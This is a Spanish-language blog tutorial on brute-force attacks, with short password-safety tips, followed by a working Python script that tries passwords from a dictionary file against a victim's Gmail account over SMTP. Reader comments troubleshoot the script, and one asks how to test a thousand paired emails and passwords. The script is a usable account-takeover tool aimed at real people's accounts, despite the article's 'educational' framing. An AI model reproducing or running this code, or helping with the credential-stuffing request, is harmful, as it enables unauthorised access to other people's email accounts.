Ataque de Fuerza Bruta a Cuentas de Gmail con Python

Índice

Introducción:

En este articulo me centrare en explicar: ¿Que es un Ataque de Fuerza Bruta? ¿Como podría prevenir este tipo de ataque? y ¿Como funcionan los Ataques de Fuerza Bruta?.

Algunos de ustedes de seguro conocen el termino "Fuerza Bruta". Quisiera aclarar que este articulo lo estoy escribiendo con fines educativos, y no me hago responsable de lo que pueden hacer con los códigos que les proporcionare.

La Seguridad Informática es muy importante hoy en día, ya que cualquiera con conocimientos suficientes podría robar cuentas de Gmails asociadas con cuentas bancarias o información sensible.

Este articulo lo hago con el fin de que aprendamos a evitar estos ataques de fuerza bruta, ya que es uno de los ataques más usados. Al final del articulo escribiremos un pequeño programa en Python para que conozcamos mejor este tipo de Ataque, ya que si sabemos como funciona, sabremos como prevenirlos.

¿Que es un Ataque de Fuerza Bruta?

Un ataque de fuerza bruta es el proceso mediante el cual se recupera una clave probando todas las combinaciones posibles, el proceso finaliza al momento de encontrar la clave que permita el acceso.

El programa que esta ejecutando un ataque de fuerza bruta, prueba con cada una de las combinaciones posibles, una por una, esta hallar la correcta.

Usualmente al hacer un ataque de fuerza bruta, se combinan con un ataque de diccionario, en donde el diccionario contiene todas las posibles combinaciones.

Sí, el proceso es un poco arduo, es como adivinanzas, el atacante le pregunta al servidor al cual esta atacando ¿Es esta? , ¿O esta?, ¿Que tal esta?, ¿Tal vez sea esta?, y así sucesivamente esta que el servidor le dice, "Sí es esa, felicitaciones lo has logrado".

También hay que tener muy claro, que los ataques de fuerza bruta pueden durar, días, semanas, meses e incluso hasta años, todo dependerá de la información con la que cuente el atacante.


Imagen relacionada


¿Como podría prevenir este tipo de ataque?

Como dije anteriormente, los ataques de fuerza bruta podrían durar años.

Todo dependerá de la información con la que cuente el atacante. ¿Porque depende de la información que tenga el atacante? Pues entre más conozca el atacante sobre ti, hay más probabilidades de que el ataque funcione. El atacante siempre buscara información como: Nombres de tus mascotas, tu fecha de nacimiento, nombre de tus familiares cercanos, cosas que te gustan, tus fechas favoritas, entre otras cosas. 

Pues inconscientemente, es la clase de cosas con las que describimos a nuestras contraseñas, por ejemplo, el nombre de nuestro perro y la fecha en el que lo obtuviste, o el nombre de tu novia y algunos numero como 12345. Esa clase de cosas, ya saben.

Los atacantes se fijan más en las personas mayores, ya que usualmente colocan información de su vida personal para sus contraseñas, como su segundo nombre y su fecha de nacimiento.

A continuación les daré unos consejos personales para evitar este tipo de ataques:
  1. No uses información publica en tus contraseñas: Es un error que todos cometemos, colocar nuestros nombres o fechas de nacimientos, toda esta información la puede ver cualquiera en nuestros perfiles de Facebook o Twitter.
  2. Usar más de 10 caracteres en nuestras contraseñas: Entre más larga la contraseña, mejor.
  3. Usar letras mayúsculas, minúsculas, números y signos de puncionan: Esta combinación hace más difícil el descifrado de nuestra contraseña, sobre todo si utilizamos letras mayúsculas en medio y algunos signos de puntuación. (Ej: luIsALEjandRO&28931).
  4. Cambiar nuestras contraseñas cada determinado tiempo: Cambiar nuestras contraseñas es algo que se los recomiendo hacer, no diario ni semanal, ya que eso seria un poco estresante pero si lo recomiendo hacer mensualmente.
Estos son algunos consejos que siempre tengo en cuenta.


¿Como funcionan los Ataques de Fuerza Bruta?

Muy bien, para ver un ataque de fuerza bruta en vivo y en directo, crearemos un  pequeño programa en Python, este programa nos pedirá un correo electrónico (Gmail), luego leerá las posibles combinaciones en un diccionario, el programa tratara de entrar en la cuenta gmail, usando cada una de las combinaciones que se encuentre en el diccionario, una por una.  Si la contraseña correcta se encuentra en el diccionario, el programa nos  mostrara la contraseña, de lo contrario el programa nos avisara de que ninguna de las combinaciones es la contraseña de la cuenta introducida.

A continuación les mostrare el código del programa, y luego lo explicare paso a paso:

import smtplib
 
smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()
print("n")
email = input("Email de la victima: ")
dic = open("./diccionario.txt", "r")
 
for pwd in dic:
 try:
  smtpserver.login(email, pwd)
  print("Contraseña Correcta: %s"  % pwd)
  break;
 except smtplib.SMTPAuthenticationError:
  print("Contraseña Incorrecta: %s" % pwd)



Puedes descargar el codigo ingresando al siguiente enlace: Ataque de Fuerza Bruta con Python.



Muy bien, lo que hará el programa sera tratar de loguearse en gmail, para eso usaremos el protocolo usado para el envío de correos electrónicos, "SMTP".


Lo primero que haremos sera importar al modulo "smtplib". Luego llamamos al objeto "SMTP", el cual hará la conexión al servidor "smtp.gmail.com" en el puerto 587.
Luego usamos los metodos "ehlo()" y "starttls()". Con esto ya habremos establecido conexión con el servidor smtp de gmail.


Luego de establecer la conexión, en una variable llamada "email", guardaremos la entrada que nos pedirá el programa, la cual es el Gmail de la victima. En la siguiente linea, se abre el archivo "diccionario.txt", el cual contiene todas las combinaciones posibles, este diccionario sera creado por el atacante, en donde colocara cada combinación posible linea por linea.


Se abre un bucle for, que recorrerá cada linea del diccionario probando cada una de las combinaciones posibles. Con el método login, el programa se intentara loguearse con el email de la victima y la combinación posible, todo esto dentro de un bucle para que este proceso se repita hasta que se encuentra la combinación correcta.


Al ejecutar el programa, tendremos que ingresar el Email de la victima:


Como pueden ver el, la combinación numero 5, resulto ser la Correcta. Yo he usado un diccionario muy simple con tan solo 15 combinaciones posible, por Internet se encuentran muchas formas de hacer diccionarios muy prácticos y eficientes.


Bueno, este fue un ejemplo muy sencillo de Fuerza Bruta, existen muchas herramientas que hacen ataques de fuerza bruta a otros servicios a parte de Gmail.


Espero que les sirva de mucho este articulo, es muy importante saber como funciponan estos ataques para poder evitarlos, ya que a nadie le gusta que le roben su cuenta de Gmail. 


Comparte tu experiencia con nosotros dejando un buen comentario.


Mi nombre es Luis, y fue un placer compartir mis conocimientos con todos ustedes :D.

  1. Anónimo dice:

    Estoy aprendiendo python para poder entrar mas adelante en el tema de la seguridad. Os descubrí hace poco y estoy encantado con vuestros tutoriales, son muy concisos pero a la vez te descubren un panorama lleno de posibilidades. Gracias por compartir vuestra sabiduría.

    Un saludo

  2. Luis Salcedo dice:

    Gracias por visitar el blog. Saludos 😀

  3. Aprenda Linux En Su Teléfono dice:

    genial

  4. limberth dice:

    Este comentario ha sido eliminado por el autor.

  5. limberth dice:

    No da ni con la contraseña correcta puesta en el dictionary.

    1. ayudas pti desarrollo apps dice:

      verdad ami me pasa lo mismo

  6. Unknown dice:

    amigo en que directorio deberia estar el diccionario ?

    1. Unknown dice:

      Debe de estar en la misma carpeta que el archivo.py

  7. ayudas pti desarrollo apps dice:

    en el diccionario esta la contraseña correcta pero me dice que esa es incorrecta porque

    1. Anónimo dice:

      Por la seguridad de la cuenta de gmail. Si pruebas con cuentas nuevas no hay problema.

  8. CobranzA dice:

    perdon por revivir un post tan viejo, en el caso de obtener una base de datos tipo "email" y "clave", como puedo hacer para que python pruebe la primera linea de "email" (que contendra por ejemplo yo@gmail.com) y la primera linea de "clave" (que contendra por ejemplo MICLAVE). hago esta pregunta, porque no quiero estar probando a mano los usuarios y contraseñas, me guataria tener dos txt, con 1000 usuarios y claves, ordeanados de manera que cada linea de email se corresponde con cada linea de clave, DESDE YA MUCHAS GRACIAS

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Subir
White Monkey